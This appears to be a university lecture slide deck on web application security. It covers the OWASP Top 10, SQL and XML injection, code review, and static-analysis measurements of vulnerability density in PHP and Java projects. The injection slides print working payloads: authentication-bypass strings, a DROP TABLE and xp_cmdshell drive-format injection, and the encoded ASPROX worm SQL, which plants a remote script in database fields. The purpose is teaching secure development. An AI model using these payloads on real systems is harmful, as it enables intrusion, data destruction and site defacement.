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About the Speaker

¸ Assistant Professor at NKU College of Informatics

¸ Software Engineer at Intel

¸ Ph.D. from Carnegie Mellon University

¸ Professional Experience

¸ Over 10 years secure development experience.

¸ Helped develop GIAC Secure Software Programmer cert.

¸ Worked on SANS Top 25 Secure Programming Flaws

¸ OWASP member and presenter

¸ Workshops in secure programming and software 

security to professionals and faculty.

¸ Teaches Secure Software Engineering.

¸ Researches measuring software security.
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Why Web Security?

86% of attacks exploited a web interface

- 2010 UK Security Breach Applications Report

90% of spending on network perimeter security

- Gartner

Jeremiah Grossman, White Hat Security
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Topics

1. History of web security

2. Dispelling the myths

3. Top web vulnerabilities

4. Software security practices

5. Secure design principles
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History of Web Security

Year Technology Security

1993 CGI Firewalls, SSL

1995 PHP, Javascript Firewalls, SSL

1997 ASP, JSP Firewalls, SSL

2000 SOA Firewalls, SSL

2006 AJAX Firewalls, SSL
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Firewalls donôt protect Web Apps
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SSL wonôt stop injection attacks, XSS
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Intranet Sites are Vulnerable Too
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Ex: Javascript Port Scanner
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OWASP Top 10: 2007 to 2010

OWASP Top 10 ï2007 (Previous) OWASP Top 10 ï2010 (New)

A2 ïInjection Flaws A1 ïInjection

A1 ïCross Site Scripting (XSS) A2 ïCross Site Scripting (XSS)

A7 ïBroken Authentication and Session Management A3 ïBroken Authentication and Session Management

A4 ïInsecure Direct Object Reference A4 ïInsecure Direct Object References

A5 ïCross Site Request Forgery (CSRF) A5 ïCross Site Request Forgery (CSRF)

<was T10 2004 A10 ïInsecure Configuration 

Management>
A6 ïSecurity Misconfiguration (NEW)

A10 ïFailure to Restrict URL Access A7 ïFailure to Restrict URL Access

<not in T10 2007> A8 ïUnvalidated Redirects and Forwards (NEW)

A8 ïInsecure Cryptographic Storage A9 ïInsecure Cryptographic Storage

A9 ïInsecure Communications A10 ïInsufficient Transport Layer Protection

A3 ïMalicious File Execution <dropped from T10 2010>

A6 ïInformation Leakage and Improper Error Handling <dropped from T10 2010>
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Injection

¸Injection attacks trick an application into 
including unintended commands in the 
data send to an interpreter.

¸Interpreters

¸ Interpret strings as commands.

¸Ex: SQL, XML, XPath, JSON, Command, é

¸Key Idea

¸ Input data from the application is executed as 
code by the interpreter.
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SQL Injection

1. App sends form to user.

2. Attacker submits form 
with SQL exploit data.

3. Application builds string 
with exploit data.

4. Application sends SQL 
query to DB.

5. DB executes query, 
including exploit, sends 
data back to application.

6. Application returns data 
to user.

Attacker

Web Server DB Server

Firewall

User

Pass ó or 1=1--
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SQL Injection Attack Example

SQL statement

select count(*) from users where username

= '$username' and password = '$password'

Unauthorized Access Attempt:

password = ô or 1=1 --

SQL statement becomes:

select count(*) from users where username 

= óuserô andpassword = óô or 1=1 --

http://www.nku.edu/


Impact of SQL Injection

SELECT SSN FROM USERS WHERE UID=ó$UIDô

INPUT RESULT

5 Returns info for user with UID 5.

ó OR 1=1-- Returns info for all users.

ó UNION SELECT 

Field FROM Table 

WHERE 1=1--

Returns all rows from another table.

ó;DROP TABLE 

USERS--

Deletes the users table.

ó;master.dbo.xp_c

mdshell ócmd.exe 

format c: /q /yesô --

Formats C: drive of database server if youôre 

running MS SQL Server and extended 

procedures arenôt disabled.
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ASPROX Worm SQL

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×4445434C415

245204054205641524348415228323535292C40432056415243484152283

2353529204445434C415245205461626C655F437572736F7220435552534

F5220464F522053454C45435420612E6E616D652C622E6E616D652046524

F4D207379736F626A6563747320612C737973636F6C756D6E73206220574

845524520612E69643D622E696420414E4420612E78747970653D2775272

0414E442028622E78747970653D3939204F5220622E78747970653D33352

04F5220622E78747970653D323331204F5220622E78747970653D3136372

9204F50454E205461626C655F437572736F72204645544348204E4558542

046524F4D205461626C655F437572736F7220494E544F2040542C4043205

748494C4528404046455443485F5354415455533D302920424547494E204

55845432827555044415445205B272B40542B275D20534554205B272B404

32B275D3D525452494D28434F4E564552542856415243484152283430303

0292C5B272B40432B275D29292B27273C736372697074207372633D68747

4703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F736372697

0743E27272729204645544348204E4558542046524F4D205461626C655F4

37572736F7220494E544F2040542C404320454E4420434C4F53452054616

26C655F437572736F72204445414C4C4F43415445205461626C655F43757

2736F7220%20AS%20VARCHAR(4000));EXEC(@S);ï
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XML Injection

User registration Form

http://site/adduser?username=al&password=l
etmein&email=al@gmail.com

XML data

<user> 

<username>al</username>

<password>letmein</password>

<userid>101<userid/>

<mail>al@gmail.com</mail>

</user> 
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XML Injection

Malicious input
Username: al

Password: letmein</password><userid>0</userid><!--

Email: --><mail>al@gmail.com 

Result
<user>

<username>al</username> 
<password>letmein</password>

<userid>0</userid> <!--</password> 
<userid>101</userid> <mail>--> 
<mail>al@gmail.com</mail>

</user> 

http://www.nku.edu/


Code Reviews

1. Find defects sooner in development lifecycle.

(IBM finds 82% of defects before testing.)

2. Find defects with less effort than testing.

(IBMðreview: 3.5 hrs/bug, testing: 15-25 hrs/bug.)

3. Find different defects than testing.

(Can identify some design problems too.)

4. Educate developers about security bugs.

(Developers frequently make the same mistakes.)
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Static Analysis Tools

Automated assistance for code reviews
¸ Speed: review code faster than humans can

¸ Accuracy: 100s of secure coding rules

False Positives
¸Tool reports bugs in code that arenôt there.

¸ Complex control or data flow can confuse tools.

False Negatives
¸ Tool fails to discover bugs that are there.

¸ Code complexity or lack of rules to check.
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Code Review Maturity Levels
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Tool finds different vulnerabilities in PHP v Java

¸PHP: 13 categories

¸ Java: 30 categories

Common Vulnerability Density

¸Count of 4 common vulnerability categories:
¸Cross-site scripting

¸SQL injection

¸Path manipulation

¸Code injection

¸Normalized by KSLOC to compare diff code 
sizes.

ESSoS 10 - February 3-

4 - Pisa, Italy21

Common Vulnerability Density

Only 4 categories overlap.

First 3 categories are in

MITRE's top 5 vulnerabilities

listed in 2007 report.  Other

types are PHP remote file

inclusion, buffer overflow.
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Web Applications Audited

Java PHP

alfresco

contelligent

daisywiki

dspace

jackrabbit

jamwiki

lenya

ofbiz

velocity

vexi

xwiki

achievo

dotproject

gallery2

mantisbt

mediawiki

obm

phpbb

phpmyadmin

phpwebsite

po

roundcube

smarty

squirrelmail

wordpress
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PHP

¸ CVD(2006):  6.25

¸ CVD (2008): 2.36

¸ Code size increased

¸ 870KLOC       1.4MLOC

¸ CV count decreased

¸ 5425  3318

Java

¸ CVD (2006): 1.15

¸ CVD (2008):  0.63

¸ Code size increased

¸ 5 MLOC 11 MLOC

¸ CV count increased

¸ 5801 7045

ESSoS 10 - February 3 -

4 - Pisa, Italy23

CVD Results: PHP vs. Java

45%62%
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PHP

¸ SAVD(2006):  8.86

¸ SAVD(2008):  6.02

¸ Code size increased

¸ 870KLOC       1.4MLOC

¸ SAV count increased

¸ 7740  8459

Java

¸ SAVD (2006):  5.87

¸ SAVD (2008):  3.85

¸ Code size increased

¸ 5 MLOC 11 MLOC

¸ SAV count increased

¸ 29473 42581

ESSoS 10 - February 3-
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SAVD Results: PHP vs. Java

34%32%

SAVD includes all 13 vulnerability types for PHP, all 30 types for Java.
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Java PHP
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Evolution of CVD by Application

-

49.91
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Java Vulnerability Type Evolution

2811
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Vulnerability Catagories - PHP
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